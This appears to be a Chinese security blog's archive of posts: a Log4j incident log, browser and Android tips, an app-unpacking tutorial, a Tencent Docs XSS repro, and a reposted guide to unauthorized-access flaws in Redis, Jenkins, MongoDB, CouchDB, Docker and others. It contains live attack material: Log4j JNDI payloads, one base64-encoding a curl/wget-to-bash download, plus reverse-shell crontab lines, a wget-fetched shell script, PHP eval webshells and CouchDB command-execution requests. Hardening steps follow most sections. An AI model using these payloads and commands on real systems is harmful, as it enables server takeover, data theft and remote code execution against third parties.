2021年12月13日星期一

关于Log4j组件漏洞的应急响应过程

依稀记得在之前应该是11月份的时候,阿里云的公众号就发了关于log4j组件的安全问题的预警,但是由于并没有实际的poc,所以没激起什么水花,我点开看看之后就忘到一边了。

直至上周四晚上(2021.12.09),很多群突然传log4j的消息,某公众号也深夜放出了poc(我已睡着)。

周五早上,打开手机一看,各个群已经翻天了,去到公司后赶紧联系领导、同事,说明此漏洞的情况,然后测试、验证、消化、输出相关教程给同事,waf也赶紧打上补丁进行拦截。

忙碌的周五上午就这么过去了。

晚上厂商发来新补丁,赶紧打,于是晚上11点多远程回公司给waf打补丁。

愉快的周末欢乐了两天。

周日晚上,朋友发了新的payload,一试,噢嚯,能绕过waf,完了。

周一去到公司联系厂家,他们说又有最新的补丁,坑,赶紧打上,打完测试,能拦截最新的payload了。

研发那边需要在下个版本才能投产更新log4j,在这之前,先由waf顶着吧。


Update:

一些在waf处抓的payload:


${jndi:ldap://45.83.193.150:1389/Exploit}


${jndi:rmi://${java:version}.uy483a.dnslog.cn/1}


${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://c6rht5b9g1rt2rilbafgcg5zrfaynab91.interactsh.com/a}


${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-l}${env:aaaa:-d}${env:aaaa:-a}${env:aaaa:-p}${env:aaaa:-:}//kfwd.idrkib.ceye.io/aa}


/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMTAuNDMuNDAuNjg6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTEwLjQzLjQwLjY4OjgwKXxiYXNo}


${${lower:j}${upper:n}${lower:d}${upper:i}: ${lower:l}d${lower:a}${lower:p}}://kfwd2.idrkib.ceye.io/aa}


2021年12月3日星期五

Cent Browser频繁无响应排查

家里电脑用的是Cent Browser,自从不知道什么时候开始,就存在一个bug,当浏览器停止使用后,挂着一段时间,这个时间可能是一个小时可能是两个小时,就会出现卡死“程序无响应”的状态,只能任务管理器强行关闭再打开才能用。

刚好我在公司电脑用的也是Cent Browser,同版本,但是从未出现过这样的问题,由于这个bug比较影响使用,于是开始排查的过程。

在一次哔哩哔哩网站的使用过程中,发现用cent浏览器播放会卡,用火狐就不会,于是果断F12,发现加载过程中有一个插件频繁报错,而这个插件是


于是果断卸载

挂着浏览器,过了一个一两个小时后,发现还是正常的,看来就是这个插件的问题了。



2021年9月6日星期一

昙花一现的腾讯文档存储型xss 0day

 日期:2021.9.3

腾讯文档 doc.qq.com

复现过程:

先在腾讯文档新建一份空文档(在线表格),内容填:

</script><script>alert(document.cookie)</script>

保存后分享,正常分享链接 https://docs.qq.com/sheet/DSG13VmhlYVNIYUJs?tab=BB08J2

将分享连接改为 https://docs.qq.com/blankpage/DSG13VmhlYVNIYUJs

然后分享给别人,别人点开后就会触发xss了














可惜这玩意是见光死,群里正在狂欢的时候,不到一小时就发现此漏洞已修复。(不排除有内鬼)






2021年8月13日星期五

在安卓设备将用户证书转为系统证书

将证书安装后,使用文件管理器找到 /data/misc/user/0/cacerts-added/xxxx.0 

将其剪切到/system/etc/security/cacerts/ 即可

2021年7月29日星期四

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360加固一键脱壳

 这个只是脱壳,不带回编.


第一步

电脑安装安卓模拟器,我使用的是雷电模拟器(推荐).
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

第二步

打开模拟器,准备安装软件:
1.需要脱壳的软件
2.XP 框架.(直接在模拟器应用商店搜索即可)
3.易开发.
4.MT 管理器.(推荐),当然你用别的文件管理器也行.

易开发下载地址:云盘

开搞

请先激活 XP 框架

由于防火墙的原因可能无法安装安装,可以看上一篇离线安装xposed的方法,或者自己想办法翻墙。
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳
然后
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳
打上对勾,然后重启模拟器.

然后打开易开发.

权限都给上就完了.

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

然后你模拟器边上会出现以下小悬浮图标:

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

打开要脱壳的软件.点击悬浮窗

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

如无法导出,请点击基本信息里面的脱壳.然后软件会重启崩溃.要脱壳的软件下次启动的时候崩溃就对了~

数据就会在:

/data/data/应用包名/dump/ 目录下

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

你在这个文件夹里会没有权限,移动到 SD 卡的根目录

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

好了完成了!
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

最后

测试了,360 加固和腾讯乐固完全可以.



via:https://blog.kieng.cn/2051.html

2021年7月2日星期五

雷电安卓模拟器解决Could not load available ZIP files.Pull down to try again问题

 首先雷电模拟器下载xposed框架


下载xposed

https://dl-xda.xposed.info/framework/


找到安卓对应版本,由于雷电模拟器是7.1,搜索百度对应为安卓7.1 sdk为25


下载script.txt

https://forum.xda-developers.com/attachments/script-txt.4489568/


改名为script.sh


解压一下xposed压缩包

创建文件夹xposed, 把system文件夹和script.sh放入xposed文件夹


进入雷电模拟器安装目录,在地址栏输入cmd,为什么这样做,因为有些人没安装adb,而模拟器自带的adb在安装目录下


adb remount


adb push命令

adb push xposed路径(拖到cmd即可) /system


adb shell

su

cd /system

mount -o remount -w /system

sh script.sh


如上图表示已经完成,重启模拟器即可


————————————————

via:https://blog.csdn.net/svip2242257464/article/details/117741433

2021年6月21日星期一

【转】未授权访问漏洞总结

 

 前言

今年5月,比特币勒索病毒WannaCry席卷全球,国内众多机构部门计算机系统瘫痪。根据之前应急响应的案例分析,以及一些安全报告统计,目前大部分的勒索病毒均利用未授权访问等通用漏洞进行植入、勒索,尤其是Redis、MongoDB等数据库的未授权访问漏洞尤其严重。参见《【脉搏译文系列】如何高效的应对勒索软件》
ransomware123

0x01 介绍

未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

目前主要存在未授权访问漏洞的有:NFS服务,Samba服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等,本文主要介绍一些目前比较常用的一些服务的未授权访问,欢迎大家补充!

maibo

0x02 Redis未授权访问

2.1 漏洞描述

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

2.2 漏洞利用

1、利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口

nc -lvnp 4444

然后执行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

redis-11

2、写ssh-keygen公钥登录服务器

在以下条件下,可以利用此方法

  • 1、Redis服务使用root账号启动
  • 2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

此方法具体参考:redis配置不当可直接导致服务器被控制

3、获取web服务的webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
执行以下命令

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

即可将shell写入web目录

redis-5

2.3 漏洞加固

可以配置redis.conf这个文件,在安装目录下

  • 1、默认只对本地开放
    bind 127.0.0.1
  • 2、添加登陆密码
    requirepass www.secpulse.com
  • 3、在需要对外开放的时候修改默认端口
    port 2333
  • 4、最后还可以配合iptables限制开放

0x03 Jenkins未授权访问

3.1 漏洞描述

默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

3.2 漏洞利用

1、Jenkins未授权访问可执行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
jenkins-1

 

println "ifconfig -a".execute().text 执行一些系统命令
jenkins-2
直接wget下载back.py反弹shell

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py并不需要root权限
jenkins-3

 

不想反弹试试Terminal Plugin
jenkins-4

2、Jenkins未授权访问写shell

jenskins是java web项目,我们用java的File类写文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一个内容为1,2,3(每一行)的1.txt到c盘的temp文件夹,运行如下命令println “powershell dir c:\temp”.execute().text如果写成功,那么secpulse.txt就会在返回结果中!

wget写webshell

1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//参数-n 不要在最后自动换行

jenkins-5
Result: 0 表示成功写入
Result: 1 表示目录不存在或者权限不足 写入失败
Result: 2 表示构造有异常 写入失败

具体其他详细利用方法参考:知其一不知其二之Jenkins Hacking

3.3 漏洞加固

  • 1、禁止把Jenkins直接暴露在公网
  • 2、添加认证,设置强密码复杂度及账号锁定。

0x04 MongoDB未授权访问

4.1 漏洞描述

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

4.2 漏洞利用

mongodb-1

4.3 漏洞加固

1、为MongoDB添加认证:
1)MongoDB启动时添加--auth参数
2)给MongoDB添加用户:
use admin #使用admin库
db.addUser("root", "123456") #添加用户名root密码123456的用户
db.auth("root","123456") #验证下是否添加成功,返回1说明成功
2、禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false
3、限制绑定IP
启动时加入参数
--bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加以下内容:
bind_ip = 127.0.0.1

0x05 ZooKeeper未授权访问

5.1 漏洞描述

Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

5.2 漏洞利用

执行以下命令即可远程获取该服务器的环境:
echo envi | nc ip port

zookeeper-1
直接连接:
./zkCli.sh -server ip:port

zookeeper-2

5.3 漏洞加固

  • 1、禁止把Zookeeper直接暴露在公网
  • 2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
  • 3、绑定指定IP访问

0x06 Elasticsearch未授权访问

6.1 漏洞描述

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口,可被非法操作数据

6.2 漏洞利用

漏洞检测:默认端口9200
相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
http://x.x.x.x:9200/_nodes

http://x.x.x.x:9200/_river

elasticsearch-1

6.3 漏洞加固

  • 1、防火墙上设置禁止外网访问9200端口。
  • 2、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
  • 3、限制IP访问,绑定固定IP
  • 4、在config/elasticsearch.yml中为9200端口设置认证:

http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

 

0x07 Memcache未授权访问

7.1 漏洞描述

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

7.2 漏洞利用

1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

2、telnet <target> 11211,或nc -vv <target> 11211,提示连接成功表示漏洞存在

memcached-2

7.3 漏洞加固

  • 1、设置memchached只允许本地访问
  • 2、禁止外网访问Memcached 11211端口
  • 3、编译时加上–enable-sasl,启用SASL认证

0x08 Hadoop未授权访问

8.1 漏洞描述

由于服务器直接在开放了Hadoop机器HDFS的50070 web端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

8.2 漏洞利用

主要HDFS和MapReduce的WebUI对应的服务端口。

Hadoop-1

其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

8.3 漏洞加固

  • 1、如无必要,关闭Hadoop Web管理页面
  • 2、开启身份验证,防止未经授权用户访问
  • 3、设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口,详细端口列表如下:

a)HDFS

NameNode 默认端口 50070

DataNode 默认端口 50075

httpfs 默认端口14000

journalnode 默认端口 8480

b)YARN(JobTracker)

ResourceManager 默认端口8088

JobTracker 默认端口 50030

TaskTracker 默认端口 50060

c)Hue 默认端口 8080

d)YARN(JobTracker)

master 默认端口 60010

regionserver 默认端口60030

e)hive-server2 默认端口 10000

f)spark-jdbcserver 默认端口 10003

0x09CouchDB未授权访问

9.1 漏洞描述

CouchDB默认在5984端口开放Restful的API接口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查,其中通过API修改local.ini配置文件,可进一步导致执行任意系统命令,获取服务器权限!

9.2 漏洞利用

couchdb-7

新增query_server配置,这里执行ifconfig命令

curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一个临时表,插入一条记录

couchdb-1

 

curl -X PUT 'http://x.x.x.x:5984/vultest'

couchdb-2
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
调用query_server处理数据

couchdb-3

curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

couchdb-4

当然你也可以直接执行其他命令,下载个其他什么的

couchdb-5 couchdb-6

9.3 漏洞加固

1、指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。

2、设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码

0x010 Docker未授权访问

10.1 漏洞描述

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell

10.2 漏洞利用

http://192.168.198.130:2375/v1.25/images/json
可以获取到所有的 images 列表

http://host:2375/containers/json

会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,过Post包我们还可以新建、开启和关闭容器,其他操作比如拉取image等操作也都可以通过API调用完成。

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法如下:

1、启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了

2、启动一个容器,挂载宿主机的/etc/目录,之后将反弹shell的脚本写入到/etc/crontab中,攻击者会得到一个反弹的shell,其中反弹shell脚本的样例如下:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

第2种利用方法也可以挂载var/spool/cron/目录,将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

10.3 漏洞加固

1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

  • 设置ACL,仅允许信任的来源IP连接;
  • 设置TLS认证,官方的文档为Protect the Docker daemon socket

2、客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

 

附:Python未授权访问脚本

unauthor_access-1unauthor_access-2

此脚本未做测试,请根据自身需求,修改测试使用!

参考文章

  • https://www.secpulse.com/archives/55928.html
  • https://www.secpulse.com/archives/49115.html
  • https://www.secpulse.com/archives/6540.html
  • https://xianzhi.aliyun.com/forum/mobile/read/750.html
  • https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html
  • https://www.secpulse.com/archives/2166.html
  • https://github.com/findys/sunburst/
  • https://yeasy.gitbooks.io/docker_practice/


via:https://www.secpulse.com/archives/61101.html